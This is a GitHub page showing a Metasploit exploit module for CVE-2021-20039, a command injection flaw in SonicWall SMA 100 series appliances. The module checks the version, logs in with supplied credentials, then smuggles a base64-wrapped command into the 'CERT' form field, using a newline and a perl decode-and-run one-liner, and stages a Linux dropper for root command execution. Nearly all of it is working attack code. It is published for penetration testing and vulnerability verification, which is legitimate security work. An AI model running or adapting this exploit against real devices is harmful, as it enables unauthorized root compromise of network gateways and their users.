-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
sonicwall_cve_2021_20039.rb
179 lines (163 loc) · 6.27 KB
/
sonicwall_cve_2021_20039.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability
in the SonicWall SMA 100 series web interface. Exploitation results in
command execution as root. The affected versions are:
- 10.2.1.2-24sv and below
- 10.2.0.8-37sv and below
- 9.0.0.11-31sv and below
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'CVE', '2021-20039' ],
[ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'],
[ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis']
],
'DisclosureDate' => '2021-12-14',
'Platform' => ['linux'],
'Arch' => [ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'echo', 'printf' ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PrependFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']),
OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']),
OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice'])
])
end
##
# Extract the version number from a javascript include in the login landing page.
# And compare the version against known affected. Affected versions are:
#
# 10.2.1.2-24sv and below
# 10.2.0.8-37sv and below
# 9.0.0.11-31sv and below
##
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/cgi-bin/welcome'),
'agent' => 'SonicWALL Mobile Connect'
})
return CheckCode::Unknown('Failed to retrieve the version information') unless res&.code == 200
version = res.body.match(/\.([0-9.\-a-z]+)\.js" type=/)
return CheckCode::Unknown('Failed to retrieve the version information') unless version
version = version[1]
major, minor, revision, build = version.split('.', 4)
build, point = build.split('-', 2)
print_status("Version found: #{major}.#{minor}.#{revision}.#{build}-#{point}")
point.delete_suffix('sv')
case major
when '9'
return CheckCode::Safe unless minor.to_i == 0 && revision.to_i == 0 && build.to_i <= 11 && point.to_i <= 31
when '10'
return CheckCode::Safe unless minor.to_i == 2
case revision
when '0'
return CheckCode::Safe unless build.to_i <= 8 && point.to_i <= 37
when '1'
return CheckCode::Safe unless build.to_i <= 2 && point.to_i <= 24
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
CheckCode::Appears('Based on the discovered version.')
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/userLogin'),
'agent' => 'SonicWALL Mobile Connect',
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'domain' => datastore['SWDOMAIN'],
'portalname' => datastore['PORTALNAME'],
'login' => 'true',
'verifyCert' => '0',
'ajax' => 'true'
},
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
fail_with(Failure::NoAccess, 'Login failed') unless res.get_cookies.include?('swap=')
print_good('Authentication successful')
end
##
# Send the exploit in the "CERT" field when "deleting" a certificate. The
# backend requires the payload start with "n". Also, there is a very small
# amount of space to fit the command into (otherwise we'll trigger a bof).
# Finally! The command has a lot of disallowed characters: /$&|>;`^. Which
# is problematically for basically all the payloads. The system also is
# missing useful tools like wget, base64, and curl (10.2 has curl but
# whatever). As such, it seemed the easiest thing to do is wrap the entire
# command in base64 and then use perl to decode/execute it.
##
def execute_command(cmd, _opts = {})
cmd_encoded = Rex::Text.encode_base64(cmd)
perl_eval = "n\nperl -MMIME::Base64 -e 'system(decode_base64(\"#{cmd_encoded}\"))'"
multipart_form = Rex::MIME::Message.new
multipart_form.add_part('delete', nil, nil, 'form-data; name="buttontype"')
multipart_form.add_part(perl_eval, nil, nil, 'form-data; name="CERT"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/viewcert'),
'agent' => 'SonicWALL Mobile Connect',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, 5)
if res && res.code != 200
# the response should always be 200, unless meterpreter holds the
# connection open.
fail_with(Failure::UnexpectedReply, 'Only expected 200 OK')
end
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
login
execute_cmdstager(linemax: 40)
end
end